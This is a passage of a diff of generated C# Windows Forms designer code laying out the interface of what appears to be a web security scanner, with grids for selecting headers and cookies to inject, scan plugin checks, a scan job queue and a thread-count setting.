this.ASRequestCookieNameColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ASRequestCookieValueColumn + // + this.ASRequestCookieValueColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASRequestCookieValueColumn.HeaderText = "PARAMETER VALUE"; + this.ASRequestCookieValueColumn.Name = "ASRequestCookieValueColumn"; + this.ASRequestCookieValueColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ASRequestHeadersTab + // + this.ASRequestHeadersTab.Controls.Add(this.ASRequestScanHeadersGrid); + this.ASRequestHeadersTab.Location = new System.Drawing.Point(4, 22); + this.ASRequestHeadersTab.Margin = new System.Windows.Forms.Padding(0); + this.ASRequestHeadersTab.Name = "ASRequestHeadersTab"; + this.ASRequestHeadersTab.Size = new System.Drawing.Size(545, 181); + this.ASRequestHeadersTab.TabIndex = 4; + this.ASRequestHeadersTab.Text = "Headers"; + this.ASRequestHeadersTab.UseVisualStyleBackColor = true; + // + // ASRequestScanHeadersGrid + // + this.ASRequestScanHeadersGrid.AllowUserToAddRows = false; + this.ASRequestScanHeadersGrid.AllowUserToDeleteRows = false; + this.ASRequestScanHeadersGrid.AllowUserToResizeRows = false; + this.ASRequestScanHeadersGrid.BackgroundColor = System.Drawing.Color.White; + this.ASRequestScanHeadersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ASRequestScanHeadersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ASRequestScanHeadersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.ASRequestHeadersSelectColumn, + this.ASRequestHeadersNameColumn, + this.ASRequestHeadersValueColumn}); + this.ASRequestScanHeadersGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ASRequestScanHeadersGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ASRequestScanHeadersGrid.GridColor = System.Drawing.Color.White; + this.ASRequestScanHeadersGrid.Location = new System.Drawing.Point(0, 0); + this.ASRequestScanHeadersGrid.Margin = new System.Windows.Forms.Padding(0); + this.ASRequestScanHeadersGrid.Name = "ASRequestScanHeadersGrid"; + this.ASRequestScanHeadersGrid.RowHeadersVisible = false; + this.ASRequestScanHeadersGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ASRequestScanHeadersGrid.Size = new System.Drawing.Size(545, 181); + this.ASRequestScanHeadersGrid.TabIndex = 3; + // + // ASRequestHeadersSelectColumn + // + this.ASRequestHeadersSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ASRequestHeadersSelectColumn.HeaderText = "INJECT"; + this.ASRequestHeadersSelectColumn.Name = "ASRequestHeadersSelectColumn"; + this.ASRequestHeadersSelectColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.ASRequestHeadersSelectColumn.Width = 55; + // + // ASRequestHeadersNameColumn + // + this.ASRequestHeadersNameColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASRequestHeadersNameColumn.HeaderText = "PARAMETER NAME"; + this.ASRequestHeadersNameColumn.Name = "ASRequestHeadersNameColumn"; + this.ASRequestHeadersNameColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ASRequestHeadersValueColumn + // + this.ASRequestHeadersValueColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASRequestHeadersValueColumn.HeaderText = "PARAMETER VALUE"; + this.ASRequestHeadersValueColumn.Name = "ASRequestHeadersValueColumn"; + this.ASRequestHeadersValueColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ASRequestParameterNamesTab + // + this.ASRequestParameterNamesTab.Controls.Add(this.textBox1); + this.ASRequestParameterNamesTab.Controls.Add(this.ASRequestScanHeadersParameterNameCB); + this.ASRequestParameterNamesTab.Controls.Add(this.ASRequestScanCookieParameterNameCB); + this.ASRequestParameterNamesTab.Controls.Add(this.ASRequestScanBodyParameterNameCB); + this.ASRequestParameterNamesTab.Controls.Add(this.ASRequestScanQueryParameterNameCB); + this.ASRequestParameterNamesTab.Location = new System.Drawing.Point(4, 22); + this.ASRequestParameterNamesTab.Margin = new System.Windows.Forms.Padding(0); + this.ASRequestParameterNamesTab.Name = "ASRequestParameterNamesTab"; + this.ASRequestParameterNamesTab.Size = new System.Drawing.Size(545, 181); + this.ASRequestParameterNamesTab.TabIndex = 5; + this.ASRequestParameterNamesTab.Text = "Names"; + this.ASRequestParameterNamesTab.UseVisualStyleBackColor = true; + // + // textBox1 + // + this.textBox1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox1.BackColor = System.Drawing.Color.White; + this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox1.Location = new System.Drawing.Point(7, 7); + this.textBox1.Multiline = true; + this.textBox1.Name = "textBox1"; + this.textBox1.ReadOnly = true; + this.textBox1.Size = new System.Drawing.Size(531, 68); + this.textBox1.TabIndex = 5; + this.textBox1.Text = resources.GetString("textBox1.Text"); + // + // ASRequestScanHeadersParameterNameCB + // + this.ASRequestScanHeadersParameterNameCB.AutoSize = true; + this.ASRequestScanHeadersParameterNameCB.Enabled = false; + this.ASRequestScanHeadersParameterNameCB.Location = new System.Drawing.Point(20, 156); + this.ASRequestScanHeadersParameterNameCB.Name = "ASRequestScanHeadersParameterNameCB"; + this.ASRequestScanHeadersParameterNameCB.Size = new System.Drawing.Size(148, 17); + this.ASRequestScanHeadersParameterNameCB.TabIndex = 4; + this.ASRequestScanHeadersParameterNameCB.Text = "Headers Parameter Name"; + this.ASRequestScanHeadersParameterNameCB.UseVisualStyleBackColor = true; + // + // ASRequestScanCookieParameterNameCB + // + this.ASRequestScanCookieParameterNameCB.AutoSize = true; + this.ASRequestScanCookieParameterNameCB.Enabled = false; + this.ASRequestScanCookieParameterNameCB.Location = new System.Drawing.Point(20, 133); + this.ASRequestScanCookieParameterNameCB.Name = "ASRequestScanCookieParameterNameCB"; + this.ASRequestScanCookieParameterNameCB.Size = new System.Drawing.Size(141, 17); + this.ASRequestScanCookieParameterNameCB.TabIndex = 3; + this.ASRequestScanCookieParameterNameCB.Text = "Cookie Parameter Name"; + this.ASRequestScanCookieParameterNameCB.UseVisualStyleBackColor = true; + // + // ASRequestScanBodyParameterNameCB + // + this.ASRequestScanBodyParameterNameCB.AutoSize = true; + this.ASRequestScanBodyParameterNameCB.Enabled = false; + this.ASRequestScanBodyParameterNameCB.Location = new System.Drawing.Point(20, 110); + this.ASRequestScanBodyParameterNameCB.Name = "ASRequestScanBodyParameterNameCB"; + this.ASRequestScanBodyParameterNameCB.Size = new System.Drawing.Size(132, 17); + this.ASRequestScanBodyParameterNameCB.TabIndex = 2; + this.ASRequestScanBodyParameterNameCB.Text = "Body Parameter Name"; + this.ASRequestScanBodyParameterNameCB.UseVisualStyleBackColor = true; + // + // ASRequestScanQueryParameterNameCB + // + this.ASRequestScanQueryParameterNameCB.AutoSize = true; + this.ASRequestScanQueryParameterNameCB.Enabled = false; + this.ASRequestScanQueryParameterNameCB.Location = new System.Drawing.Point(20, 87); + this.ASRequestScanQueryParameterNameCB.Name = "ASRequestScanQueryParameterNameCB"; + this.ASRequestScanQueryParameterNameCB.Size = new System.Drawing.Size(136, 17); + this.ASRequestScanQueryParameterNameCB.TabIndex = 1; + this.ASRequestScanQueryParameterNameCB.Text = "Query Parameter Name"; + this.ASRequestScanQueryParameterNameCB.UseVisualStyleBackColor = true; + // + // ASExceptionTB + // + this.ASExceptionTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ASExceptionTB.BackColor = System.Drawing.SystemColors.Window; + this.ASExceptionTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ASExceptionTB.ForeColor = System.Drawing.Color.Red; + this.ASExceptionTB.Location = new System.Drawing.Point(69, 28); + this.ASExceptionTB.Name = "ASExceptionTB"; + this.ASExceptionTB.ReadOnly = true; + this.ASExceptionTB.Size = new System.Drawing.Size(491, 13); + this.ASExceptionTB.TabIndex = 8; + this.ASExceptionTB.Visible = false; + // + // SessionPluginLbl + // + this.SessionPluginLbl.AutoSize = true; + this.SessionPluginLbl.Location = new System.Drawing.Point(301, 6); + this.SessionPluginLbl.Name = "SessionPluginLbl"; + this.SessionPluginLbl.Size = new System.Drawing.Size(79, 13); + this.SessionPluginLbl.TabIndex = 15; + this.SessionPluginLbl.Text = "Session Plugin:"; + // + // ASScanPluginsGrid + // + this.ASScanPluginsGrid.AllowUserToAddRows = false; + this.ASScanPluginsGrid.AllowUserToDeleteRows = false; + this.ASScanPluginsGrid.AllowUserToResizeRows = false; + this.ASScanPluginsGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Right))); + this.ASScanPluginsGrid.BackgroundColor = System.Drawing.Color.White; + this.ASScanPluginsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ASScanPluginsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.ASScanPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ASScanPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn9, + this.dataGridViewTextBoxColumn27}); + this.ASScanPluginsGrid.GridColor = System.Drawing.Color.White; + this.ASScanPluginsGrid.Location = new System.Drawing.Point(564, 68); + this.ASScanPluginsGrid.Margin = new System.Windows.Forms.Padding(0); + this.ASScanPluginsGrid.Name = "ASScanPluginsGrid"; + this.ASScanPluginsGrid.ReadOnly = true; + this.ASScanPluginsGrid.RowHeadersVisible = false; + this.ASScanPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ASScanPluginsGrid.Size = new System.Drawing.Size(133, 221); + this.ASScanPluginsGrid.TabIndex = 5; + // + // dataGridViewCheckBoxColumn9 + // + this.dataGridViewCheckBoxColumn9.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn9.HeaderText = ""; + this.dataGridViewCheckBoxColumn9.Name = "dataGridViewCheckBoxColumn9"; + this.dataGridViewCheckBoxColumn9.ReadOnly = true; + this.dataGridViewCheckBoxColumn9.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewCheckBoxColumn9.Width = 20; + // + // dataGridViewTextBoxColumn27 + // + this.dataGridViewTextBoxColumn27.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn27.HeaderText = "CHECKS"; + this.dataGridViewTextBoxColumn27.Name = "dataGridViewTextBoxColumn27"; + this.dataGridViewTextBoxColumn27.ReadOnly = true; + this.dataGridViewTextBoxColumn27.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ConfigureScanRequestSSLCB + // + this.ConfigureScanRequestSSLCB.AutoSize = true; + this.ConfigureScanRequestSSLCB.Enabled = false; + this.ConfigureScanRequestSSLCB.Location = new System.Drawing.Point(9, 27); + this.ConfigureScanRequestSSLCB.Name = "ConfigureScanRequestSSLCB"; + this.ConfigureScanRequestSSLCB.Size = new System.Drawing.Size(46, 17); + this.ConfigureScanRequestSSLCB.TabIndex = 11; + this.ConfigureScanRequestSSLCB.Text = "SSL"; + this.ConfigureScanRequestSSLCB.UseVisualStyleBackColor = true; + this.ConfigureScanRequestSSLCB.Click += new System.EventHandler(this.ConfigureScanRequestSSLCB_Click); + // + // ScanStatusLbl + // + this.ScanStatusLbl.AutoSize = true; + this.ScanStatusLbl.Location = new System.Drawing.Point(128, 6); + this.ScanStatusLbl.Name = "ScanStatusLbl"; + this.ScanStatusLbl.Size = new System.Drawing.Size(68, 13); + this.ScanStatusLbl.TabIndex = 10; + this.ScanStatusLbl.Text = "Scan Status:"; + // + // ASClearScanBtn + // + this.ASClearScanBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ASClearScanBtn.Location = new System.Drawing.Point(564, 36); + this.ASClearScanBtn.Name = "ASClearScanBtn"; + this.ASClearScanBtn.Size = new System.Drawing.Size(130, 29); + this.ASClearScanBtn.TabIndex = 14; + this.ASClearScanBtn.Text = "Clear"; + this.ASClearScanBtn.UseVisualStyleBackColor = true; + this.ASClearScanBtn.Click += new System.EventHandler(this.ASClearScanBtn_Click); + // + // ScanIDLbl + // + this.ScanIDLbl.AutoSize = true; + this.ScanIDLbl.Location = new System.Drawing.Point(5, 6); + this.ScanIDLbl.Name = "ScanIDLbl"; + this.ScanIDLbl.Size = new System.Drawing.Size(49, 13); + this.ScanIDLbl.TabIndex = 9; + this.ScanIDLbl.Text = "Scan ID:"; + // + // ASStartScanBtn + // + this.ASStartScanBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ASStartScanBtn.Location = new System.Drawing.Point(564, 3); + this.ASStartScanBtn.Name = "ASStartScanBtn"; + this.ASStartScanBtn.Size = new System.Drawing.Size(130, 29); + this.ASStartScanBtn.TabIndex = 2; + this.ASStartScanBtn.Text = "Start Scan"; + this.ASStartScanBtn.UseVisualStyleBackColor = true; + this.ASStartScanBtn.Click += new System.EventHandler(this.ASStartScanBtn_Click); + // + // ScanTopPanel + // + this.ScanTopPanel.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ScanTopPanel.BackColor = System.Drawing.Color.LightSkyBlue; + this.ScanTopPanel.Controls.Add(this.textBox3); + this.ScanTopPanel.Location = new System.Drawing.Point(0, 0); + this.ScanTopPanel.Margin = new System.Windows.Forms.Padding(0); + this.ScanTopPanel.Name = "ScanTopPanel"; + this.ScanTopPanel.Size = new System.Drawing.Size(697, 60); + this.ScanTopPanel.TabIndex = 17; + // + // textBox3 + // + this.textBox3.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox3.BackColor = System.Drawing.Color.LightSkyBlue; + this.textBox3.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox3.Location = new System.Drawing.Point(6, 5); + this.textBox3.Margin = new System.Windows.Forms.Padding(0); + this.textBox3.Multiline = true; + this.textBox3.Name = "textBox3"; + this.textBox3.ReadOnly = true; + this.textBox3.Size = new System.Drawing.Size(682, 55); + this.textBox3.TabIndex = 1; + this.textBox3.TabStop = false; + this.textBox3.Text = resources.GetString("textBox3.Text"); + // + // ScanJobsBottomSplit + // + this.ScanJobsBottomSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanJobsBottomSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.ScanJobsBottomSplit.IsSplitterFixed = true; + this.ScanJobsBottomSplit.Location = new System.Drawing.Point(0, 0); + this.ScanJobsBottomSplit.Margin = new System.Windows.Forms.Padding(0); + this.ScanJobsBottomSplit.Name = "ScanJobsBottomSplit"; + this.ScanJobsBottomSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // ScanJobsBottomSplit.Panel1 + // + this.ScanJobsBottomSplit.Panel1.Controls.Add(this.ASQueueGrid); + // + // ScanJobsBottomSplit.Panel2 + // + this.ScanJobsBottomSplit.Panel2.Controls.Add(this.panel2); + this.ScanJobsBottomSplit.Size = new System.Drawing.Size(697, 194); + this.ScanJobsBottomSplit.SplitterDistance = 167; + this.ScanJobsBottomSplit.SplitterWidth = 2; + this.ScanJobsBottomSplit.TabIndex = 2; + // + // ASQueueGrid + // + this.ASQueueGrid.AllowUserToAddRows = false; + this.ASQueueGrid.AllowUserToDeleteRows = false; + this.ASQueueGrid.AllowUserToResizeRows = false; + this.ASQueueGrid.BackgroundColor = System.Drawing.Color.White; + this.ASQueueGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle31.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle31.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle31.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle31.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle31.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle31.SelectionForeColor = System.Drawing.Color.Blue; + dataGridViewCellStyle31.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ASQueueGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle31; + this.ASQueueGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ASQueueGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.ASQueueGridScanID, + this.ASQueueGridStatus, + this.ASQueueGridMethod, + this.ASQueueGridURL}); + this.ASQueueGrid.ContextMenuStrip = this.ScanQueueMenu; + this.ASQueueGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ASQueueGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ASQueueGrid.GridColor = System.Drawing.Color.White; + this.ASQueueGrid.Location = new System.Drawing.Point(0, 0); + this.ASQueueGrid.Margin = new System.Windows.Forms.Padding(0); + this.ASQueueGrid.MultiSelect = false; + this.ASQueueGrid.Name = "ASQueueGrid"; + this.ASQueueGrid.RowHeadersVisible = false; + this.ASQueueGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ASQueueGrid.ShowEditingIcon = false; + this.ASQueueGrid.Size = new System.Drawing.Size(697, 167); + this.ASQueueGrid.TabIndex = 0; + this.ASQueueGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ASQueueGrid_CellClick); + // + // ASQueueGridScanID + // + this.ASQueueGridScanID.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ASQueueGridScanID.HeaderText = "SCAN ID"; + this.ASQueueGridScanID.Name = "ASQueueGridScanID"; + this.ASQueueGridScanID.Width = 60; + // + // ASQueueGridStatus + // + this.ASQueueGridStatus.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ASQueueGridStatus.HeaderText = "STATUS"; + this.ASQueueGridStatus.Name = "ASQueueGridStatus"; + this.ASQueueGridStatus.Width = 70; + // + // ASQueueGridMethod + // + this.ASQueueGridMethod.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.DisplayedCells; + this.ASQueueGridMethod.HeaderText = "METHOD"; + this.ASQueueGridMethod.Name = "ASQueueGridMethod"; + this.ASQueueGridMethod.Width = 79; + // + // ASQueueGridURL + // + this.ASQueueGridURL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASQueueGridURL.HeaderText = "URL"; + this.ASQueueGridURL.Name = "ASQueueGridURL"; + // + // ScanQueueMenu + // + this.ScanQueueMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.StartAllStoppedAndAbortedScansToolStripMenuItem, + this.StopAllScansToolStripMenuItem, + this.StopThisScanJobToolStripMenuItem}); + this.ScanQueueMenu.Name = "ScanQueueMenu"; + this.ScanQueueMenu.Size = new System.Drawing.Size(286, 70); + this.ScanQueueMenu.Opening += new System.ComponentModel.CancelEventHandler(this.ScanQueueMenu_Opening); + // + // StartAllStoppedAndAbortedScansToolStripMenuItem + // + this.StartAllStoppedAndAbortedScansToolStripMenuItem.Name = "StartAllStoppedAndAbortedScansToolStripMenuItem"; + this.StartAllStoppedAndAbortedScansToolStripMenuItem.Size = new System.Drawing.Size(285, 22); + this.StartAllStoppedAndAbortedScansToolStripMenuItem.Text = "Start All Stopped and Aborted Scan Jobs"; + this.StartAllStoppedAndAbortedScansToolStripMenuItem.Click += new System.EventHandler(this.StartAllStoppedAndAbortedScansToolStripMenuItem_Click); + // + // StopAllScansToolStripMenuItem + // + this.StopAllScansToolStripMenuItem.Name = "StopAllScansToolStripMenuItem"; + this.StopAllScansToolStripMenuItem.Size = new System.Drawing.Size(285, 22); + this.StopAllScansToolStripMenuItem.Text = "Stop All Scan Jobs"; + this.StopAllScansToolStripMenuItem.Click += new System.EventHandler(this.StopAllScansToolStripMenuItem_Click); + // + // StopThisScanJobToolStripMenuItem + // + this.StopThisScanJobToolStripMenuItem.Name = "StopThisScanJobToolStripMenuItem"; + this.StopThisScanJobToolStripMenuItem.Size = new System.Drawing.Size(285, 22); + this.StopThisScanJobToolStripMenuItem.Text = "Stop This Scan Job"; + this.StopThisScanJobToolStripMenuItem.Click += new System.EventHandler(this.StopThisScanJobToolStripMenuItem_Click); + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.PowderBlue; + this.panel2.Controls.Add(this.ASStartAllStoppedAndAbortedScansLL); + this.panel2.Controls.Add(this.ConfigScannerThreadMaxCountLbl); + this.panel2.Controls.Add(this.ConfigScannerSettingsCancelChangesLL); + this.panel2.Controls.Add(this.ASStopAllScansLL); + this.panel2.Controls.Add(this.ConfigScannerSettingsApplyChangesLL); + this.panel2.Controls.Add(this.label31); + this.panel2.Controls.Add(this.ConfigScannerThreadMaxCountTB); + this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel2.Location = new System.Drawing.Point(0, 0); + this.panel2.Margin = new System.Windows.Forms.Padding(0); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(697, 25); + this.panel2.TabIndex = 1; + // + // ASStartAllStoppedAndAbortedScansLL + // + this.ASStartAllStoppedAndAbortedScansLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.ASStartAllStoppedAndAbortedScansLL.AutoSize = true; + this.ASStartAllStoppedAndAbortedScansLL.Location = new System.Drawing.Point(18, 0); + this.ASStartAllStoppedAndAbortedScansLL.Name = "ASStartAllStoppedAndAbortedScansLL"; + this.ASStartAllStoppedAndAbortedScansLL.Size = new System.Drawing.Size(200, 13); + this.ASStartAllStoppedAndAbortedScansLL.TabIndex = 2; + this.ASStartAllStoppedAndAbortedScansLL.TabStop = true; + this.ASStartAllStoppedAndAbortedScansLL.Text = "Start All Stopped and Aborted Scan Jobs"; + this.ASStartAllStoppedAndAbortedScansLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ASStartAllStoppedAndAbortedScansLL_LinkClicked); + // + // ConfigScannerThreadMaxCountLbl + // + this.ConfigScannerThreadMaxCountLbl.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigScannerThreadMaxCountLbl.AutoSize = true; + this.ConfigScannerThreadMaxCountLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigScannerThreadMaxCountLbl.Location = new System.Drawing.Point(551, -19); + this.ConfigScannerThreadMaxCountLbl.Name = "ConfigScannerThreadMaxCountLbl"; + this.ConfigScannerThreadMaxCountLbl.Size = new System.Drawing.Size(14, 13); + this.ConfigScannerThreadMaxCountLbl.TabIndex = 2; + this.ConfigScannerThreadMaxCountLbl.Text = "3"; + // + // ConfigScannerSettingsCancelChangesLL + // + this.ConfigScannerSettingsCancelChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigScannerSettingsCancelChangesLL.AutoSize = true; + this.ConfigScannerSettingsCancelChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigScannerSettingsCancelChangesLL.Location = new System.Drawing.Point(526, 1); + this.ConfigScannerSettingsCancelChangesLL.Name = "ConfigScannerSettingsCancelChangesLL"; + this.ConfigScannerSettingsCancelChangesLL.Size = new System.Drawing.Size(46, 13); + this.ConfigScannerSettingsCancelChangesLL.TabIndex = 70; + this.ConfigScannerSettingsCancelChangesLL.TabStop = true; + this.ConfigScannerSettingsCancelChangesLL.Text = "Cancel"; + this.ConfigScannerSettingsCancelChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigScannerSettingsCancelChangesLL_LinkClicked); + // + // ASStopAllScansLL + // + this.ASStopAllScansLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.ASStopAllScansLL.AutoSize = true; + this.ASStopAllScansLL.Location = new System.Drawing.Point(18, -23); + this.ASStopAllScansLL.Name = "ASStopAllScansLL"; + this.ASStopAllScansLL.Size = new System.Drawing.Size(96, 13); + this.ASStopAllScansLL.TabIndex = 1; + this.ASStopAllScansLL.TabStop = true; + this.ASStopAllScansLL.Text = "Stop All Scan Jobs"; + this.ASStopAllScansLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ASStopAllScansLL_LinkClicked); + // + // ConfigScannerSettingsApplyChangesLL + // + this.ConfigScannerSettingsApplyChangesLL.ActiveLinkColor = System.Drawing.Color.Red; + this.ConfigScannerSettingsApplyChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigScannerSettingsApplyChangesLL.AutoSize = true; + this.ConfigScannerSettingsApplyChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigScannerSettingsApplyChangesLL.LinkBehavior = System.Windows.Forms.LinkBehavior.AlwaysUnderline; + this.ConfigScannerSettingsApplyChangesLL.Location = new System.Drawing.Point(480, 1); + this.ConfigScannerSettingsApplyChangesLL.Name = "ConfigScannerSettingsApplyChangesLL"; + this.ConfigScannerSettingsApplyChangesLL.Size = new System.Drawing.Size(38, 13); + this.ConfigScannerSettingsApplyChangesLL.TabIndex = 71; + this.ConfigScannerSettingsApplyChangesLL.TabStop = true; + this.ConfigScannerSettingsApplyChangesLL.Text = "Apply"; + this.ConfigScannerSettingsApplyChangesLL.VisitedLinkColor = System.Drawing.Color.Blue; + this.ConfigScannerSettingsApplyChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigScannerSettingsApplyChangesLL_LinkClicked); + // + // label31 + // + this.label31.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.label31.AutoSize = true; + this.label31.Location = new System.Drawing.Point(289, -19); + this.label31.Name = "label31"; + this.label31.Size = new System.Drawing.Size(258, 13); + this.label31.TabIndex = 1; + this.label31.Text = "Set the Number of Parallel Scanner Threads Allowed:"; + // + // ConfigScannerThreadMaxCountTB + // + this.ConfigScannerThreadMaxCountTB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigScannerThreadMaxCountTB.BackColor = System.Drawing.SystemColors.Control; + this.ConfigScannerThreadMaxCountTB.LargeChange = 10; + this.ConfigScannerThreadMaxCountTB.Location = new System.Drawing.Point(586, -26); + this.ConfigScannerThreadMaxCountTB.Margin = new System.Windows.Forms.Padding(0); + this.ConfigScannerThreadMaxCountTB.Minimum = 1; + this.ConfigScannerThreadMaxCountTB.Name = "ConfigScannerThreadMaxCountTB"; + this.ConfigScannerThreadMaxCountTB.Size = new System.Drawing.Size(104, 45); + this.ConfigScannerThreadMaxCountTB.TabIndex = 0; + this.ConfigScannerThreadMaxCountTB.Value = 3; + this.ConfigScannerThreadMaxCountTB.Scroll += new System.EventHandler(this.ConfigScannerThreadMaxCountTB_Scroll); + // + // ASTraceTab + // + this.ASTraceTab.Controls.Add(this.ScanTraceBaseSplit); + this.ASTraceTab.Location = new 